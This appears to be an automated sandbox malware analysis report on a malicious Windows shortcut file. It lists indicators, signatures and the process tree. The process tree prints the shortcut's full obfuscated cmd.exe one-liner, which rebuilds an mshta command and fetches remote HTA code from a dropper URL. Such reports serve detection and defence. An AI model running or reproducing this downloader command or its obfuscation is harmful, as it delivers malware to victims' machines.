Analysis

  • max time kernel
    148s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:36

General

  • Target
    DOC-T93ZJL.lnk
  • Size 2KB
  • Sample260804-khwtcs1ves
  • SHA256 10f15135e71f7c35f3bfe316e8a78a8850150c3611bd6debae3d50ea22d715c1
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-T93ZJL.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2604
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/v:on/C"set rbylf=datogctinodat&set tFJ=oldzvzotold&set zbx=oas0&&set QWdbo=1tap&&set RoK=crtgw&set EqIxL=cfgrwbgtxccyrdemacfg&set yqfTJ=bims2sy&&set rr=lrhav&&set gzjhj=z3mta81&set xr=datthmhwccfbfdat&set FfDDx=cachehbxebnacache&set Zrm=logitccfsoknnwtnkfrlog&set UZq=bakqdmqsbrrsueydbxbak&set wXyD=cfgzflbvtyrcfg&set vlnI=syslqeobmwyqjsqsys&set xWxvx=netqrmjowynxnet&set IeN=bakjurxzosbak&set LIZuz=datfcspxoqwdfoebswmuudat&&set oR=ht@tps://ma@-@[email protected]@at/h/e@stag@[email protected]?@r=3914@69@FB5D@8@2@DB&&start /b !yqfTJ:~2,2!!rr:~2,1!!gzjhj:~3,2! !oR:@=!&&set RjN=done"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2132
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:6228

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads